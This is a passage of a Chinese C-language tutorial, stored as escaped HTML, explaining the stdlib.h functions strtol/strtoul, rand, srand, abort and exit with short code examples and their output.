class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e* \u003cspan class=\"keyword\"\u003erestrict\u003c/span\u003e nptr,\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e** \u003cspan class=\"keyword\"\u003erestrict\u003c/span\u003e endptr,\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e base\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eunsigned\u003c/span\u003e \u003cspan class=\"type\"\u003elong\u003c/span\u003e \u003cspan class=\"type\"\u003elong\u003c/span\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003estrtoull\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e \u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e* \u003cspan class=\"keyword\"\u003erestrict\u003c/span\u003e nptr,\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e** \u003cspan class=\"keyword\"\u003erestrict\u003c/span\u003e endptr, \u003cspan class=\"type\"\u003eint\u003c/span\u003e base\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e它们接受三个参数。\u003c/p\u003e\u003cp\u003e(1)\u003ccode\u003enPtr\u003c/code\u003e:待转换的字符串(起首的空白字符会被忽略)。\u003c/p\u003e\u003cp\u003e(2)\u003ccode\u003eendPrt\u003c/code\u003e:一个指针,指向不能转换部分的第一个字符。如果字符串可以完全转成数值,该指针指向字符串末尾的终止符\u003ccode\u003e\\0\u003c/code\u003e。这个参数如果设为 NULL,就表示不需要处理字符串剩余部分。\u003c/p\u003e\u003cp\u003e(3)\u003ccode\u003ebase\u003c/code\u003e:待转换整数的进制。这个值应该是\u003ccode\u003e2\u003c/code\u003e到\u003ccode\u003e36\u003c/code\u003e之间的整数,代表相应的进制,如果是特殊值\u003ccode\u003e0\u003c/code\u003e,表示让函数根据数值的前缀,自己确定进制,即如果数字有前缀\u003ccode\u003e0\u003c/code\u003e,则为八进制,如果数字有前缀\u003ccode\u003e0x\u003c/code\u003e或\u003ccode\u003e0X\u003c/code\u003e,则为十六进制。\u003c/p\u003e\u003cp\u003e它们的返回值是转换后的数值,如果转换不成功,返回\u003ccode\u003e0\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e下面是转换十进制整数的例子。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003echar\u003c/span\u003e* s = \u003cspan class=\"string\"\u003e\u0026#34;3490\u0026#34;\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eunsigned\u003c/span\u003e \u003cspan class=\"type\"\u003elong\u003c/span\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e x = strtoul(u, \u003cspan class=\"literal\"\u003eNULL\u003c/span\u003e, \u003cspan class=\"number\"\u003e10\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%lu\\n\u0026#34;\u003c/span\u003e, x); \u003cspan class=\"comment\"\u003e// 3490\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e下面是转换十六进制整数的例子。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003echar\u003c/span\u003e* end;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003elong\u003c/span\u003e value = strtol(\u003cspan class=\"string\"\u003e\u0026#34;0xff\u0026#34;\u003c/span\u003e, \u0026amp;end, \u003cspan class=\"number\"\u003e16\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%ld\\n\u0026#34;\u003c/span\u003e, value); \u003cspan class=\"comment\"\u003e// 255\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%s\\n\u0026#34;\u003c/span\u003e, end); \u003cspan class=\"comment\"\u003e// 无内容\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003evalue = strtol(\u003cspan class=\"string\"\u003e\u0026#34;0xffxx\u0026#34;\u003c/span\u003e, \u0026amp;end, \u003cspan class=\"number\"\u003e16\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%ld\\n\u0026#34;\u003c/span\u003e, value); \u003cspan class=\"comment\"\u003e// 255\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%s\\n\u0026#34;\u003c/span\u003e, end); \u003cspan class=\"comment\"\u003e// xx\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,\u003ccode\u003estrtol()\u003c/code\u003e可以指定字符串包含的是16进制整数。不能转换的部分,可以使用指针\u003ccode\u003eend\u003c/code\u003e进行访问。\u003c/p\u003e\u003cp\u003e下面是转换二进制整数的例子。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003echar\u003c/span\u003e* s = \u003cspan class=\"string\"\u003e\u0026#34;101010\u0026#34;\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eunsigned\u003c/span\u003e \u003cspan class=\"type\"\u003elong\u003c/span\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e x = strtoul(s, \u003cspan class=\"literal\"\u003eNULL\u003c/span\u003e, \u003cspan class=\"number\"\u003e2\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%lu\\n\u0026#34;\u003c/span\u003e, x); \u003cspan class=\"comment\"\u003e// 42\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e下面是让函数自行判断整数进制的例子。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;stdio.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;stdlib.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e)\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e* \u003cspan class=\"built_in\"\u003estring\u003c/span\u003e = \u003cspan class=\"string\"\u003e\u0026#34;-1234567abc\u0026#34;\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e* remainderPtr;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003elong\u003c/span\u003e x = strtol(\u003cspan class=\"built_in\"\u003estring\u003c/span\u003e, \u0026amp;remainderPtr, \u003cspan class=\"number\"\u003e0\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%s\\\u0026#34;%s\\\u0026#34;\\n%s%ld\\n%s\\\u0026#34;%s\\\u0026#34;\\n\u0026#34;\u003c/span\u003e,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#34;The original string is \u0026#34;\u003c/span\u003e,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003estring\u003c/span\u003e,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#34;The converted value is \u0026#34;\u003c/span\u003e,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e x,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#34;The remainder of the original string is \u0026#34;\u003c/span\u003e,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e remainderPtr\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e );\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面代码的输出结果如下。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003eThe original \u003cspan class=\"built_in\"\u003estring\u003c/span\u003e is \u003cspan class=\"string\"\u003e\u0026#34;-1234567abc\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eThe converted value is \u003cspan class=\"number\"\u003e-1234567\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eThe remainder of the original \u003cspan class=\"built_in\"\u003estring\u003c/span\u003e is \u003cspan class=\"string\"\u003e\u0026#34;abc\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e如果被转换的值太大,\u003ccode\u003estrtol()\u003c/code\u003e函数在\u003ccode\u003eerrno\u003c/code\u003e中存储\u003ccode\u003eERANGE\u003c/code\u003e这个值,并返回\u003ccode\u003eLONG_MIN\u003c/code\u003e(原值为负数)或\u003ccode\u003eLONG_MAX\u003c/code\u003e(原值为正数),\u003ccode\u003estrtoul()\u003c/code\u003e则返回\u003ccode\u003eULONG_MAX\u003c/code\u003e。\u003c/p\u003e\u003ch3 id=\"rand\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#rand\" class=\"headerlink\" title=\"rand()\"\u003e\u003c/a\u003erand()\u003c/h3\u003e\u003cp\u003e\u003ccode\u003erand()\u003c/code\u003e函数用来生成 0~RAND_MAX 之间的随机整数。\u003ccode\u003eRAND_MAX\u003c/code\u003e是一个定义在\u003ccode\u003estdlib.h\u003c/code\u003e里面的宏,通常等于 INT_MAX。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 原型\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003erand\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 示例\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e x = rand();\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e如果希望获得整数 N 到 M 之间的随机数(包括 N 和 M 两个端点值),可以使用下面的写法。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e x = rand() % (M - N + \u003cspan class=\"number\"\u003e1\u003c/span\u003e) + N;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e比如,1 到 6 之间的随机数,写法如下。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e x = rand() % \u003cspan class=\"number\"\u003e6\u003c/span\u003e + \u003cspan class=\"number\"\u003e1\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e获得浮点数的随机值,可以使用下面的写法。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 0 到 0.999999 之间的随机数\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;0 to 0.99999: %f\\n\u0026#34;\u003c/span\u003e, rand() / ((\u003cspan class=\"type\"\u003efloat\u003c/span\u003e)RAND_MAX + \u003cspan class=\"number\"\u003e1\u003c/span\u003e));\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// n 到 m 之间的随机数:\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// n + m * (rand() / (float)RAND_MAX)\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;10.5 to 15.7: %f\\n\u0026#34;\u003c/span\u003e, \u003cspan class=\"number\"\u003e10.5\u003c/span\u003e + \u003cspan class=\"number\"\u003e5.2\u003c/span\u003e * rand() / (\u003cspan class=\"type\"\u003efloat\u003c/span\u003e)RAND_MAX);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,由于\u003ccode\u003erand()\u003c/code\u003e和\u003ccode\u003eRAND_MAX\u003c/code\u003e都是 int 类型,要用显示的类型转换转为浮点数。\u003c/p\u003e\u003ch3 id=\"srand\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#srand\" class=\"headerlink\" title=\"srand()\"\u003e\u003c/a\u003esrand()\u003c/h3\u003e\u003cp\u003e\u003ccode\u003erand()\u003c/code\u003e是伪随机数函数,为了增加随机性,必须在调用它之前,使用\u003ccode\u003esrand()\u003c/code\u003e函数重置一下种子值。\u003c/p\u003e\u003cp\u003e\u003ccode\u003esrand()\u003c/code\u003e函数接受一个无符号整数(unsigned int)作为种子值,没有返回值。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003evoid\u003c/span\u003e \u003cspan class=\"title function_\"\u003esrand\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003eunsigned\u003c/span\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e seed)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e通常使用\u003ccode\u003etime(NULL)\u003c/code\u003e函数返回当前距离时间纪元的秒数,作为\u003ccode\u003esrand()\u003c/code\u003e的参数。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;time.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003esrand((\u003cspan class=\"type\"\u003eunsigned\u003c/span\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e) time(\u003cspan class=\"literal\"\u003eNULL\u003c/span\u003e));\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面代码中,\u003ccode\u003etime()\u003c/code\u003e的原型定义在头文件\u003ccode\u003etime.h\u003c/code\u003e里面,返回值的类型是类型别名\u003ccode\u003etime_t\u003c/code\u003e,具体的类型与系统有关,所以要强制转换一下类型。\u003ccode\u003etime()\u003c/code\u003e的参数是一个指针,指向一个具体的 time_t 类型的时间值,这里传入空指针\u003ccode\u003eNULL\u003c/code\u003e作为参数,由于 NULL 一般是\u003ccode\u003e0\u003c/code\u003e,所以也可以写成\u003ccode\u003etime(0)\u003c/code\u003e。\u003c/p\u003e\u003ch3 id=\"abort\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#abort\" class=\"headerlink\" title=\"abort()\"\u003e\u003c/a\u003eabort()\u003c/h3\u003e\u003cp\u003e\u003ccode\u003eabort()\u003c/code\u003e用于不正常地终止一个正在执行的程序。使用这个函数的目的,主要是它会触发 SIGABRT 信号,开发者可以在程序中为这个信号设置一个处理函数。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003evoid\u003c/span\u003e \u003cspan class=\"title function_\"\u003eabort\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e该函数没有参数。\u003c/p\u003e\u003ch3 id=\"exit-,quick-exit-,-Exit\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#exit-%EF%BC%8Cquick-exit-%EF%BC%8C-Exit\" class=\"headerlink\" title=\"exit(),quick_exit(),_Exit()\"\u003e\u003c/a\u003eexit(),quick_exit(),_Exit()\u003c/h3\u003e\u003cp\u003e这三个函数都用来退出当前正在执行的程序。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd 